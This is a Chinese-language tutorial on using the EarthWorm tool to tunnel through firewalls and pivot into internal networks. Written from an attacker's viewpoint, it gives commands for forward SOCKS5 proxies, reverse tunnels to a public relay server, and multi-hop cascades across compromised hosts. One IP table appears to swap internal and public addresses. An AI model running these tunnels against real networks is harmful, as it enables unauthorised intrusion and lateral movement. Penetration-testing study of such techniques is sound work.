一、内网穿透原理
1、什么是内网穿透
内网穿透就是利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
2、内网穿透的原理
NAT(Network Address Translation,网络地址转换)是1994年提出的。当在专用网内部的一些主机本来已经分配到了本地IP地址(即仅在本专用网内使用的专用地址),但现在又想和因特网上的主机通信(并不需要加密)时,可使用NAT方法。
这种方法需要在专用网(私网IP)连接到因特网(公网IP)的路由器上安装NAT软件。装有NAT软件的路由器叫做NAT路由器,它至少有一个有效的外部全球IP地址(公网IP地址)。
这样,所有使用本地地址(私网IP地址)的主机在和外界通信时,都要在NAT路由器上将其本地地址转换成全球IP地址,才能和因特网连接。
二、EarthWorm介绍
EarthWorm是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等, EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,还可以支持多平台间的转接通讯,如Linux、Windows、MacOS、ArmLinux等。
根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
三、EarthWorm内网穿透姿势
机器资源
攻击者设备
可以访问互联网
公网服务器
内网IP 172.16.32.5
公网IP 159.75.220.19
内网服务器1
内网IP 106.52.204.56
公网IP 172.16.16.2
内网服务器2
内网IP 172.16.16.6
内网服务器3
内网IP 172.16.16.17
1、使用正向代理
当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的主机,而恰巧这台主机也拥有内网IP地址(有公网IP),可以访问其他内网机器。
1)攻击者上传EW至内网服务器1,并执行以下命令,在1080端口上开启socks5代理。
chmod +x ew_linux_x64
./ew_linux_x64 -s ssocksd -l 1080
2)攻击者在自己的攻击机上使用浏览器插件SwitchyOmega进行socks5代理
连接到内网服务器1的公网IP1080端口上
3)攻击者可以通过浏览器访问到内网服务器2上的Web业务
4)攻击者可以使用SSTap进行全局代理,这样可以使御剑等扫描软件的流量代理到企业内网
2、反向代理
攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对互联网提供服务的主机(无公网IP),而且还可以访问到其他内网机器。
1)攻击者可以在公网服务器1上运行EW监听8888端口,然后将流量转发到1080端口。
chmod +x ew_linux_x64
./ew_linux_x64 -s rcsocks -l 1080 -e 8888
2)攻击者在内网服务器1上使用Ew进行反向代理,将流量反弹到公网服务器的8888端口。
./ew_linux_x64 -s rssocks -d 159.75.220.19 -e 8888
3)攻击者可以在攻击机上通过浏览器代理访问到内网服务器3上的Web业务。
3、多级连接
如果攻击者位于外网,无法访问目标网络内部的主机,但攻击者可以访问目标网络中对外提供服务的内网服务器1(无公网IP),同时还存在一台被控内网服务器2可以访问到其他内网机器(无公网IP)。
1)在公网服务器上执行以下命令,监听8888端口然后将流量转发到1080端口
chmod +x ew_linux_x64
./ew_linux_x64 -s rcsocks -l 1080 -e 8888
2)在内网服务器1上执行以下命令,主动连接内网服务器2的9999端口并将流量转发到公网服务器的8888端口。
./ew_linux_x64 -s lcx_slave -d 159.75.220.19 -e 8888 -f 172.16.16.6 -g 9999
3)在内网服务器2上执行以下命令,在9999端口上开启sockes5代理
./ew_linux_x64 -s ssocksd -l 9999
4)攻击者通过代理去访问内网服务器3的web业务
5)在内网服务器3上查看是内网服务器2在请求80端口
转发指令
工具中自带的三条端口转发指令,它们的参数格式分别为:
./ew_linux_x64 -slcx_listen -l 1080 -e 8888
./ew_linux_x64 -s lcx_tran-l 1080 -f 2.2.2.2 -g 9999
./ew_linux_x64 -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前。